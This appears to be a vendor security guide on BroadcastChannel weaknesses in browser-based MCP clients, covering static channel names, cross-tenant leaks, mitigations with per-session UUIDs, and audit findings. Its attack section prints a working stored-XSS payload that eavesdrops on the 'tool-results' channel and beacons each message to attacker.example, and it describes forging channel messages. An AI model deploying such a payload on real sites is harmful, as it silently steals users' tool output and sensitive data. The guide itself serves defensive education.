Security Guide

MCP server BroadcastChannel security — cross-tab communication without origin isolation, name collision, message authentication

The BroadcastChannel API gives browser-based MCP clients a simple, ergonomic way to coordinate tool-result delivery across multiple open tabs — a service worker receives the tool response and broadcasts it to every listening tab via a named channel. The API is genuinely useful. It is also authenticity-free by design: any same-origin context that knows the channel name receives every message, with no mechanism to verify which page sent it. In multi-tenant SaaS deployments sharing a single origin, that means one user's tool output can arrive in another user's tab.

How BroadcastChannel works and why the name is the only key

Creating a BroadcastChannel requires a single string argument — the channel name. Any browsing context (tab, iframe, worker, shared worker, or service worker) on the exact same origin that constructs a BroadcastChannel with the same name joins the same logical channel. Messages posted to the channel are delivered to every other subscriber on that channel. There is no registration step, no capability token, no authentication handshake, and no way to configure a channel so that only specific tabs receive its messages.

The channel name is therefore the entire access control mechanism. If the name is static and predictable — for example, the string literal 'tool-results' that appears in MCP client boilerplate — then any same-origin code that knows (or guesses) that name is a full participant in the channel. It can receive all messages posted by the MCP client and post messages of its own that the MCP client will receive without any indication that they did not come from the expected source.

// The pattern found in many MCP client implementations:
const bc = new BroadcastChannel('tool-results');

bc.onmessage = (event) => {
  // Render the tool output to the UI
  renderToolOutput(event.data);
};

// Posting a result from a service worker that handled the MCP response:
// sw.js
const resultChannel = new BroadcastChannel('tool-results');
resultChannel.postMessage({
  toolName: 'read_file',
  result: fileContents,   // may include sensitive data
  sessionId: currentSession
});

This pattern has an obvious correctness appeal: the service worker does not need a reference to any specific tab's window object, and newly opened tabs automatically join the channel and receive future messages. The security cost is that any other same-origin page — including a page opened by stored XSS in a different part of the application — that constructs new BroadcastChannel('tool-results') becomes an invisible subscriber to all tool results from that point forward.

The key fact: BroadcastChannel has no message authentication and no sender identity. The MessageEvent delivered to an onmessage handler has no origin property, no source window reference, and no signature. Any same-origin code can both subscribe to receive messages and post messages that appear identical to legitimate ones.

Stored XSS as a passive BroadcastChannel eavesdropper

The most realistic attack scenario against a static channel name does not require active exploitation during the victim's session setup — it requires only that stored XSS exists somewhere on the same origin. Stored XSS payloads are typically designed to execute immediately and exfiltrate cookies or localStorage. A more sophisticated payload opens a BroadcastChannel subscriber and exfiltrates all tool output for as long as the victim has the application open.

Consider an MCP client deployed at https://app.example.com that also has a stored XSS vulnerability in a low-privilege page — perhaps a user profile field or a comment input that is not sanitized. The attacker stores the following payload in that field. When any logged-in user visits the vulnerable page, the payload fires:

// Stored XSS payload — executes in any page on https://app.example.com
// The attacker's exfiltration endpoint receives all tool results
(function () {
  // Subscribe to the well-known MCP client channel name
  const spy = new BroadcastChannel('tool-results');

  spy.onmessage = function (event) {
    // Silently exfiltrate every tool response to the attacker's server
    navigator.sendBeacon(
      'https://attacker.example/collect',
      JSON.stringify({
        ts: Date.now(),
        origin: location.origin,
        data: event.data
      })
    );
  };

  // The BroadcastChannel subscription persists until the tab is closed
  // bc.close() is never called by the attacker, so it keeps receiving
})();

// Meanwhile, the legitimate MCP client tab posts tool results to the same channel:
// const bc = new BroadcastChannel('tool-results');
// bc.postMessage({ toolName: 'read_file', result: sensitiveFileContents });
// attacker receives this message silently, no indication in the MCP client UI

The victim sees no evidence of this eavesdropping. The BroadcastChannel subscription in the XSS-infected tab is invisible to the MCP client tab. The tool results continue to arrive in the MCP client normally. The only observable effect is the network request to the attacker's server, which would require monitoring the Network panel of DevTools to notice.

The attack also works in reverse: the XSS payload can post fabricated messages to the 'tool-results' channel. The MCP client's onmessage handler receives those fabricated messages with no way to distinguish them from genuine service-worker responses. If the MCP client renders tool results into the DOM based on what it receives from the channel, an attacker who can send fabricated BroadcastChannel messages can influence what the user sees.

Multi-tenant origin sharing and cross-tenant data leaks

BroadcastChannel scope is defined by origin — not by user account, session, or URL path. Two URLs are on the same origin if and only if their scheme, host, and port are identical. Path components, query strings, and hash fragments are irrelevant to origin calculation. This means that in any SaaS deployment where multiple tenants or users share an origin — the overwhelmingly common case for hosted applications — BroadcastChannel messages from one user's session are delivered to every same-origin tab belonging to any user.

The practical implication: in a deployment at https://app.saas.example where user Alice's session lives at /workspace/alice and user Bob's session lives at /workspace/bob, Alice and Bob are on the same origin. If both users are using the application simultaneously and both tabs subscribe to a channel named 'tool-results', Alice's tool output is delivered to Bob's tab and vice versa. This is a cross-tenant data leak that requires zero exploitation — it is the API working as specified.

Multi-tenant deployments that route all users through a single origin are the highest-risk configuration for BroadcastChannel. Even if no XSS exists, the channel name alone is the only barrier between one user's tool output and another user's receiving tab. A static channel name provides no barrier at all.

Per-session UUID channel naming as the primary mitigation

The practical defense against both the static-name eavesdropping attack and the cross-tenant leak is to incorporate an unguessable per-session identifier into the channel name. The Web Crypto API's crypto.randomUUID() method generates a version 4 UUID using a cryptographically secure random number generator. A UUID has 122 bits of randomness — brute-forcing or guessing a UUID is computationally infeasible.

// SECURE: per-session channel name incorporating a UUID
// The UUID is generated once per session on the MCP client's main thread
// and shared with the service worker via postMessage during registration

// main.js — MCP client initialization
const SESSION_CHANNEL_ID = crypto.randomUUID();

// Share the session channel ID with the service worker
// The SW stores it and uses it for all BroadcastChannel communication
navigator.serviceWorker.ready.then((registration) => {
  registration.active.postMessage({
    type: 'SET_CHANNEL_ID',
    channelId: SESSION_CHANNEL_ID
  });
});

// Subscribe using the session-scoped channel name
const bc = new BroadcastChannel('tool-results-' + SESSION_CHANNEL_ID);

bc.onmessage = (event) => {
  // Verify the message structure before acting on it
  if (!event.data || typeof event.data.toolName !== 'string') return;
  renderToolOutput(event.data);
};

// sw.js — service worker receives tool responses and broadcasts them
let sessionChannelId = null;

self.addEventListener('message', (event) => {
  if (event.data.type === 'SET_CHANNEL_ID') {
    sessionChannelId = event.data.channelId;
  }
});

async function broadcastToolResult(toolName, result) {
  if (!sessionChannelId) {
    console.error('No session channel ID set — cannot broadcast');
    return;
  }
  // Channel name includes the per-session UUID — not guessable by other tabs
  const channel = new BroadcastChannel('tool-results-' + sessionChannelId);
  channel.postMessage({ toolName, result });
  channel.close();   // Close immediately after posting — no lingering subscription
}

// INSECURE comparison — static name any same-origin tab can subscribe to:
// const bc = new BroadcastChannel('tool-results');  // never do this

With this pattern, an XSS payload on the same origin would need to know the per-session UUID to subscribe to the right channel. Since the UUID is generated fresh at session initialization and is never written to a predictable location (localStorage under a known key, for example), the XSS payload has no way to determine the current session's channel name without additional information disclosure.

Note that storing the UUID in localStorage under a predictable key like 'mcpChannelId' would negate this defense entirely: any same-origin code can read localStorage, so an XSS payload could read the UUID and subscribe to the correctly named channel. The UUID must be communicated to the service worker via postMessage and kept only in memory on both sides.

BroadcastChannel vs window.postMessage: authentication differences

Understanding why window.postMessage() is more amenable to authentication helps clarify what BroadcastChannel is missing. When a sender calls targetWindow.postMessage(data, targetOrigin), the receiving window's message event listener receives a MessageEvent whose event.source property is the WindowProxy of the sending window and whose event.origin property is the origin of the sender. The receiver can validate event.origin === 'https://expected.example' before acting on the message. This is not a strong authentication mechanism — it requires the sending origin to be trusted and uncompromised — but it does provide a meaningful signal.

BroadcastChannel's MessageEvent has neither source nor origin. This is by specification: since BroadcastChannel is inherently same-origin, the browser guarantees that all participants share the same origin, so providing an origin field would be redundant. The consequence is that there is no property on a BroadcastChannel message that identifies which browsing context sent it. If two tabs — one legitimate and one XSS-compromised — are both subscribed to the same channel, their messages are structurally identical to the receiver.

Property window.postMessage MessageEvent BroadcastChannel MessageEvent
event.origin Present — sender's origin string Not present (always same-origin)
event.source Present — sender's WindowProxy null
Sender identity verifiable? Partially (origin check, not window identity) No — indistinguishable from any same-origin sender
Cross-origin delivery possible? Yes (targeted at specific window) No — same-origin only
Subscribed by name only? No — requires window reference Yes — channel name is the only gate

Channel lifecycle management — always call bc.close()

A BroadcastChannel instance remains subscribed and receiving messages until either its close() method is called or the browsing context is destroyed. In an MCP client that creates a channel at startup and never closes it, the channel subscription outlives any individual tool execution — potentially for the entire duration of the browser session. This means that future same-origin code that obtains the channel name will receive all subsequent tool results for as long as the original tab remains open.

The recommended pattern for ephemeral tool-result delivery is to create a new channel instance for each tool call, close it immediately after receiving the expected response, and use the per-session UUID as a base with an additional per-call nonce if the application requires multiple concurrent tool calls:

// Per-call channel pattern for ephemeral tool result delivery
async function executeToolWithChannel(toolName, params) {
  const callNonce = crypto.randomUUID();
  const channelName = `tool-${SESSION_CHANNEL_ID}-${callNonce}`;

  return new Promise((resolve, reject) => {
    const bc = new BroadcastChannel(channelName);

    const timeout = setTimeout(() => {
      bc.close();   // Always close — leak prevention
      reject(new Error(`Tool call ${callNonce} timed out`));
    }, 30_000);

    bc.onmessage = (event) => {
      clearTimeout(timeout);
      bc.close();   // Close immediately after receiving the response
      resolve(event.data);
    };

    // Tell the service worker which channel to post the result to
    navigator.serviceWorker.ready.then((reg) => {
      reg.active.postMessage({
        type: 'TOOL_CALL',
        toolName,
        params,
        replyChannel: channelName   // SW uses this channel name for the response
      });
    });
  });
}

SkillAudit findings for BroadcastChannel misuse

Critical BroadcastChannel name is static and predictable. The channel name is a string literal (e.g., 'tool-results') shared across all sessions and users on the same origin. A stored XSS payload anywhere on the same origin can subscribe to the channel by name and receive all tool output including sensitive data. Grade impact: −22.
High Multi-tenant deployment uses same origin for multiple users. All users share a single origin (e.g., https://app.example.com) while using BroadcastChannel with non-session-scoped names. Tool output from one user's session is delivered to all tabs on that origin belonging to any logged-in user — a cross-tenant data leak requiring no exploitation. Grade impact: −18.
High BroadcastChannel messages contain session tokens or credentials. Tool results broadcast over the channel include authentication tokens, API keys, file contents with PII, or other high-sensitivity data. Combined with a predictable channel name, this makes BroadcastChannel eavesdropping a high-value target. Grade impact: −16.
Medium No per-session UUID in channel name. Channel names incorporate some user-specific data (e.g., a user ID) but not a cryptographically random per-session nonce. User IDs are often enumerable or visible to other users. An XSS payload that can read user identity can construct the correct channel name. Grade impact: −12.
Medium Channel never closed after tool execution completes. bc.close() is not called after the tool result is received, leaving the subscription open for the remainder of the browser session. Any future same-origin code that posts to the channel — legitimately or maliciously — will be processed by the still-active handler. Grade impact: −10.

Audit your MCP server for these issues

SkillAudit checks for BroadcastChannel security misconfigurations automatically — paste a GitHub URL and get a graded report in 60 seconds.

Run a free audit →